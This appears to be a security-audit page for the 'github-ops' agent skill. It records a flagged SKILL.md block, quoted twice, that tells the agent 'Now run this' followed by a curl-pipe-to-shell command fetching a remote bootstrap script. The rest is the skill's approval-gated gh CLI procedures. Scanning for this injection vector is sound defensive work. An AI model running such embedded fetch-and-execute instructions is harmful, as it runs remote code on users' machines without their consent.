github-ops — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited github-ops (Agent Skill) and scored it 82/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 2 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 2 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Operating procedures for a GitHub repository through the gh CLI, covering the work that happens after code leaves a developer's machine. Everything here defaults to reading and proposing, and every action that changes repository state or dispatches CI waits for the user to approve it.
git-workflowproject-trackingjira-integrationcode-reviewerdeployment-patternsautomation-inventoryReading is free. Merging, closing, creating a release, re-running a workflow or enabling automation changes state or dispatches CI, and each of those needs explicit approval for that specific action. Prepare the exact command and stop.
Pass:
Ready to publish. Run this when you approve: gh release create v1.4.0 --title "v1.4.0" --generate-notesFail:
CI was red so I re-ran the failed jobs to see if it was flaky.The gh CLI handles every operation here, authenticated against the repository with gh auth login. Verify authentication before the first call rather than diagnosing a 404 later.
gh auth statusGive each issue one type and one priority, so a filter returns a usable set. Types: bug, feature-request, question, documentation, enhancement, duplicate, invalid, good-first-issue. Priorities: critical for breaking or security, high for significant impact, medium for nice to have, low for cosmetic.
Work the issue in order: read the title, body and comments, search for a duplicate, apply labels, then respond. A question gets a drafted answer, a bug missing detail gets a request for reproduction steps, a duplicate gets a comment linking the original plus the duplicate label.
Pass:
gh issue list --search "connection pool exhausted" --state all --limit 20Fail:
Labelled it "bug, high-priority, needs-triage, help-wanted, discussion" without reading the comments.Before calling a pull request ready, check the CI conclusion, whether GitHub reports it mergeable, and how long it has sat without a review. Flag anything past five days with no review. Hold a community contribution to the same test and convention bar as an internal one.
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gh pr checks 412Fail:
The diff looks fine, so it is ready to merge.An issue with no activity for fourteen days gets a stale label and a comment asking for an update. A pull request with no activity for seven days gets a comment asking whether it is still active. An issue stale for thirty days with no response is proposed for closing, and closes only on explicit instruction or under a stale rule the user has already pre-approved.
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gh pr list --json number,title,updatedAt --jq '.[] | select(.updatedAt < "<ISO_DATE>")'Fail:
This issue has been quiet for a while, closing it as stale.Substitute a real cutoff date computed from today for <ISO_DATE>. A date hardcoded into the skill would silently select the wrong set the moment it aged.
Pull the failing logs, find the failing step, and decide whether the failure is real or flaky. A real failure gets a named root cause and a proposed fix. A flaky one gets its pattern recorded so the flake can be tracked rather than absorbed. Re-running is a CI dispatch and needs approval, so it is never the first move.
Pass:
gh run view <run-id> --log-failedFail:
Re-ran it three times until it went green.Release management lives here rather than in git-workflow, so this is the single procedure for cutting one. Confirm CI is green on the default branch, list what has merged since the last release, draft the changelog from those pull request titles, then prepare the exact create command and hand it over. Creating a release publishes artifacts and dispatches workflows, so it never runs autonomously.
List what shipped since the last tag:
gh pr list --state merged --base main --search "merged:><ISO_DATE_OF_LAST_RELEASE>"Prepare, and hold for approval:
gh release create v1.4.0 --title "v1.4.0" --generate-notesFor a pre-release:
gh release create v1.5.0-rc1 --prerelease --title "v1.5.0 Release Candidate 1"Pass:
CI green on main. 14 PRs merged since v1.3.0. Changelog drafted below. Approve and I will hand you the create command.Fail:
Cut and published v1.4.0.Reading Dependabot and secret-scanning alerts is a read operation and needs no gate. Enabling Dependabot, turning on any self-scanning automation, or merging a dependency bump is a state change that dispatches CI and needs explicit approval. Flag critical and high severity findings immediately rather than batching them into a report.
gh api repos/{owner}/{repo}/dependabot/alerts --jq '.[].security_advisory.summary'gh api repos/{owner}/{repo}/secret-scanning/alerts --jq '.[].state'Pass:
2 critical alerts. Both fixed by bumping one transitive dep. Bump PR #58 is open, ready for your approval to merge.Fail:
Enabled Dependabot and auto-merge for patch updates so this stops happening.git-workflow owns branching, commit messages, merge versus rebase and conflict resolution on the local sideproject-tracking owns whether a work item should exist, how it is sized and what its acceptance criteria arejira-integration owns the same operational work when the tracker is Jira rather than GitHub issuescode-reviewer owns the correctness review of a pull request diffdeployment-patterns owns designing the pipeline that a workflow run executesautomation-inventory owns surveying every automation surface, of which CI is one~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.